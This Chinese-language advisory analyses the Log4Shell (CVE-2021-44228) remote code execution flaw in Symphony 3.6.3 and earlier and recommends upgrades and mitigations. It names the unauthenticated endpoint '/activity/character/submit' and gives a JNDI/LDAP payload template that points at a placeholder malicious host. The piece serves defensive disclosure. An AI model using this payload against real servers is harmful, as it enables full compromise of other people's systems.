Symphony 3.6.3及以下版本Log4j2远程命令执行问题分析
2025-06-28 04:48:27作者:齐冠琰
问题背景
Symphony是一款开源社区系统,在3.6.3及更早版本中使用了存在安全问题的Log4j组件。Log4j是Apache基金会下的一个Java日志记录工具,其2.x版本曾曝出严重的安全问题(CVE-2021-44228),攻击者可通过构造特殊的日志信息触发问题,最终导致服务器被完全控制。
问题原理
该问题源于Log4j2提供的JNDI查找功能,当系统记录包含特定格式的字符串(如${jndi:ldap://恶意地址/攻击载荷})的日志时,Log4j会尝试通过JNDI从远程服务器获取对象并执行,这为攻击者提供了远程代码执行的机会。
在Symphony 3.6.3中,攻击者可以通过特定接口"/activity/character/submit"提交恶意构造的请求参数,这些参数会被系统记录到日志中。由于使用了存在问题的Log4j版本,当这些恶意日志被记录时就会触发问题执行链。
问题复现分析
- 攻击入口点:系统提供的"/activity/character/submit"接口
- 攻击载荷:通过该接口提交包含JNDI查找的恶意字符串
- 触发过程:
- 攻击者向接口发送精心构造的请求
- 系统将请求参数记录到日志
- Log4j处理日志时解析并执行JNDI查找
- 从攻击者控制的LDAP服务器加载恶意类
- 恶意类在服务器上执行任意代码
问题影响
该问题具有以下严重特性:
- 无需认证即可利用
- 可导致服务器完全沦陷
- 攻击载荷可隐藏在正常请求中
- 互联网上仍有大量未升级的实例
修复方案
项目维护者已在3.6.4版本中升级了Log4j依赖,建议所有用户立即升级到最新版本。对于无法立即升级的用户,可采取以下临时缓解措施:
- 设置JVM参数:-Dlog4j2.formatMsgNoLookups=true
- 移除log4j-core组件中的JndiLookup类
- 限制外连网络访问
安全建议
对于使用开源组件的系统,建议:
- 建立组件依赖清单
- 定期扫描已知问题
- 订阅安全公告
- 制定应急响应计划
- 最小化日志记录敏感信息
该案例再次提醒我们,即使是广泛使用的开源组件也可能存在严重安全隐患,及时更新依赖是保障系统安全的重要措施。
登录后查看全文
热门项目推荐
相关项目推荐
AutoGLM-Phone-9BAutoGLM-Phone-9B是基于AutoGLM构建的移动智能助手框架,依托多模态感知理解手机屏幕并执行自动化操作。Jinja00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
GLM-4.6V-FP8GLM-4.6V-FP8是GLM-V系列开源模型,支持128K上下文窗口,融合原生多模态函数调用能力,实现从视觉感知到执行的闭环。具备文档理解、图文生成、前端重构等功能,适用于云集群与本地部署,在同类参数规模中视觉理解性能领先。Jinja00
HunyuanOCRHunyuanOCR 是基于混元原生多模态架构打造的领先端到端 OCR 专家级视觉语言模型。它采用仅 10 亿参数的轻量化设计,在业界多项基准测试中取得了当前最佳性能。该模型不仅精通复杂多语言文档解析,还在文本检测与识别、开放域信息抽取、视频字幕提取及图片翻译等实际应用场景中表现卓越。00
GLM-ASR-Nano-2512GLM-ASR-Nano-2512 是一款稳健的开源语音识别模型,参数规模为 15 亿。该模型专为应对真实场景的复杂性而设计,在保持紧凑体量的同时,多项基准测试表现优于 OpenAI Whisper V3。Python00
GLM-TTSGLM-TTS 是一款基于大语言模型的高质量文本转语音(TTS)合成系统,支持零样本语音克隆和流式推理。该系统采用两阶段架构,结合了用于语音 token 生成的大语言模型(LLM)和用于波形合成的流匹配(Flow Matching)模型。 通过引入多奖励强化学习框架,GLM-TTS 显著提升了合成语音的表现力,相比传统 TTS 系统实现了更自然的情感控制。Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
项目优选
收起
deepin linux kernel
C
24
9
Ascend Extension for PyTorch
Python
222
238
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
暂无简介
Dart
671
156
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
661
312
React Native鸿蒙化仓库
JavaScript
261
322
🔥LeetCode solutions in any programming language | 多种编程语言实现 LeetCode、《剑指 Offer(第 2 版)》、《程序员面试金典(第 6 版)》题解
Java
64
19
仓颉编译器源码及 cjdb 调试工具。
C++
134
867
仓颉编程语言测试用例。
Cangjie
37
859
openGauss kernel ~ openGauss is an open source relational database management system
C++
160
217